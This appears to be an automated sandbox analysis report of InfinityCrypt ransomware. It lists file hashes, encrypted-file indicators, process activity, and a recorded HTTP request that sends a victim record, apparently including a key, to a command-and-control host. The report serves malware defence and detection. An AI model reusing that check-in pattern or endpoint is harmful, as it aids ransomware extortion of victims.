Analysis
-
max time kernel
137s -
max time network
86s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
07-02-2023 06:29
Static task
static1
Behavioral task
behavioral1
Sample
Endermanch@InfinityCrypt.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
Endermanch@InfinityCrypt.exe
Resource
win10-20220812-en
Behavioral task
behavioral3
Sample
Endermanch@InfinityCrypt.exe
Resource
win10v2004-20221111-en
General
-
Target
Endermanch@InfinityCrypt.exe
-
Size
211KB
-
MD5
b805db8f6a84475ef76b795b0d1ed6ae
-
SHA1
7711cb4873e58b7adcf2a2b047b090e78d10c75b
-
SHA256
f5d002bfe80b48386a6c99c41528931b7f5df736cd34094463c3f85dde0180bf
-
SHA512
62a2c329b43d186c4c602c5f63efc8d2657aa956f21184334263e4f6d0204d7c31f86bda6e85e65e3b99b891c1630d805b70997731c174f6081ecc367ccf9416
-
SSDEEP
1536:YoCFfC303p22fkZrRQpnqjoi7l832fbu9ZXILwVENbM:rCVC303p22sZrRQpnviB832Du9WMON
Malware Config
Signatures
-
InfinityLock Ransomware
Also known as InfinityCrypt. Based on the open-source HiddenTear ransomware.
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\SearchEnter.raw.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Users\Admin\Pictures\TraceConvert.tif.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Users\Admin\Pictures\WaitFind.raw.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Users\Admin\Pictures\CopyPing.crw.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Users\Admin\Pictures\LimitTrace.png.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe -
Loads dropped DLL 8 IoCs
pid Process 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe 1768 MsiExec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02268_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\XLSLICER.DLL.IDX_DLL.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR43B.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSHY7ES.DLL.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\ApothecaryResume.dotx.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0145810.JPG.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02022_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099155.JPG.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01607U.BMP.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS_F_COL.HXK.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\PIXEL\PIXEL.INF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS01637_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH03380I.JPG.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0241781.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OUTLACCT.DLL.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME35.CSS.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME45.CSS.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Swirl.css.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0234376.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0238333.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\IPM.CFG.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\FLY98SP.POC.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\OSetupPS.dll.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01069_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\OrielReport.Dotx.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Sales Pipeline.accdt.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.71\goopdateres_iw.dll.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSSP7FR.dub.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\DataListIconImagesMask.bmp.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolIcons\gfserrorfromgroove.ico.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01777_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\WWINTL.DLL.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01298_.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18209_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR33F.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR49B.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\NUMERIC.JPG.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099193.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0238927.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0101860.BMP.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198226.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18192_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18197_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\LATIN1.SHP.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Swirl\TAB_ON.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightYellow.css.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\EXCEL.DEV_K_COL.HXK.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR51B.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.71\goopdateres_sr.dll.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0222015.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolIcons\StatusDoNotDisturb.ico.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Stationery\1033\DADSHIRT.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_Groove.gif.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightYellow.css.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Essential.thmx.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Foundry.thmx.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR2B.GIF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0153313.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PARNT_01.MID.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02228_.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0221903.WMF.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\SIGNS.ICO.AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96 Endermanch@InfinityCrypt.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI439.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7F4.tmp msiexec.exe File opened for modification C:\Windows\Debug\WIA\wiatrace.log mspaint.exe File opened for modification C:\Windows\Installer\MSI3E9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI419.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4A7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI535.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI833.tmp msiexec.exe File created C:\Windows\Installer\6cffd3.mst msiexec.exe File opened for modification C:\Windows\Installer\6cffd3.mst msiexec.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Endermanch@InfinityCrypt.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Endermanch@InfinityCrypt.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 1380 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeDebugPrivilege 568 taskmgr.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeSecurityPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeRestorePrivilege 1380 msiexec.exe Token: SeTakeOwnershipPrivilege 1380 msiexec.exe Token: SeDebugPrivilege 1616 Endermanch@InfinityCrypt.exe Token: 33 844 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 844 AUDIODG.EXE Token: 33 844 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 844 AUDIODG.EXE -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe -
Suspicious use of SendNotifyMessage 34 IoCs
pid Process 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe 568 taskmgr.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1156 mspaint.exe 1156 mspaint.exe 1156 mspaint.exe 1156 mspaint.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33 PID 1380 wrote to memory of 1768 1380 msiexec.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\Endermanch@InfinityCrypt.exe"C:\Users\Admin\AppData\Local\Temp\Endermanch@InfinityCrypt.exe"1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:568
-
C:\Windows\system32\mspaint.exe"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\RegisterRevoke.wmf"1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1156
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A8275C00A7F1DCD0C93C03530FD4294D2⤵
- Loads dropped DLL
PID:1768
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2028
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x56c1⤵
- Suspicious use of AdjustPrivilegeToken
PID:844
Network
-
Remote address:8.8.8.8:53Requestarizonacode.bplaced.netIN AResponsearizonacode.bplaced.netIN A162.55.0.137
-
GEThttp://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CRsfgoxXxxKX8xXx7ZvmxXxE0hFxXxOiEyxXx8qJmxXx%7CMicrosoft%20Windows%207%20Ultimate%20%7CAE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96%7C5283Endermanch@InfinityCrypt.exeRemote address:162.55.0.137:80RequestGET /rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CRsfgoxXxxKX8xXx7ZvmxXxE0hFxXxOiEyxXx8qJmxXx%7CMicrosoft%20Windows%207%20Ultimate%20%7CAE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96%7C5283 HTTP/1.1
Referer: http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt|Admin|RsfgoxXxxKX8xXx7ZvmxXxE0hFxXxOiEyxXx8qJmxXx|Microsoft Windows 7 Ultimate |AE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96|5283
Host: arizonacode.bplaced.net
Connection: Keep-Alive
ResponseHTTP/1.1 403 Forbidden
Server: Apache
X-BP-NSA-REQID: (null) a.14UID=121
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Sat, 08 Oct 2022 17:29:29 GMT
ETag: "1bbf-5ea8944ceff23"
Accept-Ranges: bytes
Content-Length: 7103
Vary: Accept-Encoding
Keep-Alive: timeout=4, max=500
Content-Type: text/html
-
162.55.0.137:80http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CRsfgoxXxxKX8xXx7ZvmxXxE0hFxXxOiEyxXx8qJmxXx%7CMicrosoft%20Windows%207%20Ultimate%20%7CAE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96%7C5283httpEndermanch@InfinityCrypt.exe835 B 7.9kB 7 9
HTTP Request
GET http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CRsfgoxXxxKX8xXx7ZvmxXxE0hFxXxOiEyxXx8qJmxXx%7CMicrosoft%20Windows%207%20Ultimate%20%7CAE0522953AF491A7A34A33BBD148142E148EB908F25EDE95DF6A9E6E72157E96%7C5283HTTP Response
403
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
257KB
MD5d1f5ce6b23351677e54a245f46a9f8d2
SHA10d5c6749401248284767f16df92b726e727718ca
SHA25657cb8f01cf553c3886760180d1a74839f2f676640115504485aca9692f577acc
SHA512960e90894e7bedcc89894e77e57e8ee0c99dd2c530d02665e8bbd3a1793eccc1e295c5923d1f37c757fa1158097fbaae70898c16052882d3d210c29ea801b3ba
-
Filesize
19KB
MD59cadbfa797783ff9e7fc60301de9e1ff
SHA183bde6d6b75dfc88d3418ec1a2e935872b8864bb
SHA256c1eda5c42be64cfc08408a276340c9082f424ec1a4e96e78f85e9f80d0634141
SHA512095963d9e01d46dae7908e3de6f115d7a0eebb114a5ec6e4e9312dbc22ba5baa268f5acece328066c9456172e90a95e097a35b9ed61589ce9684762e38f1385b
-
Filesize
363KB
MD54a843a97ae51c310b573a02ffd2a0e8e
SHA1063fa914ccb07249123c0d5f4595935487635b20
SHA256727ecf287fb6f4953ee7748913dd559b4f8d3a022fa2ca55bc51cf5886c52086
SHA512905c081552d95b523ecf1155b6c7e157652e5ff00cda30c1c21124d266eb7d305c3398d6832316f403dc45d1b639f1a5a67aea29922cd1a032f52e5247ec55d2
-
Filesize
363KB
MD54a843a97ae51c310b573a02ffd2a0e8e
SHA1063fa914ccb07249123c0d5f4595935487635b20
SHA256727ecf287fb6f4953ee7748913dd559b4f8d3a022fa2ca55bc51cf5886c52086
SHA512905c081552d95b523ecf1155b6c7e157652e5ff00cda30c1c21124d266eb7d305c3398d6832316f403dc45d1b639f1a5a67aea29922cd1a032f52e5247ec55d2
-
Filesize
257KB
MD5d1f5ce6b23351677e54a245f46a9f8d2
SHA10d5c6749401248284767f16df92b726e727718ca
SHA25657cb8f01cf553c3886760180d1a74839f2f676640115504485aca9692f577acc
SHA512960e90894e7bedcc89894e77e57e8ee0c99dd2c530d02665e8bbd3a1793eccc1e295c5923d1f37c757fa1158097fbaae70898c16052882d3d210c29ea801b3ba
-
Filesize
85KB
MD55577a98daef4ba33e900a3e3108d6cc1
SHA15af817186ab0376a0433686be470ea2b48c74f5f
SHA256148199b4f3b6b2030e2aeb63a66e8e333e692d38691bcbe39139cf02bb61b31d
SHA512d37d511975b5331a5b1cdda736890c7d4f2dcba4abac2b9399c977bdb7e09c964327e3f771cd592e2632b0e776545c490f29fd391ec13c7948557957cd805dd5
-
Filesize
571KB
MD55a1e6b155435693938596d58eaca74bb
SHA127fb323ccc215136ef350469072b6ad559d39c3d
SHA256f2d5eb947b85f763f72de7f800118844a5207c9e3dd456f13186c2aaf0c485ac
SHA5124fee8576ef5541d4923aacb514b09e1e4dc8d6cbb1dcaada67c65240358147b971c2a1d034faf50c594ae7edb4a3c68dd4ffbbb69893413ffb52e71a86c65388
-
Filesize
257KB
MD5d1f5ce6b23351677e54a245f46a9f8d2
SHA10d5c6749401248284767f16df92b726e727718ca
SHA25657cb8f01cf553c3886760180d1a74839f2f676640115504485aca9692f577acc
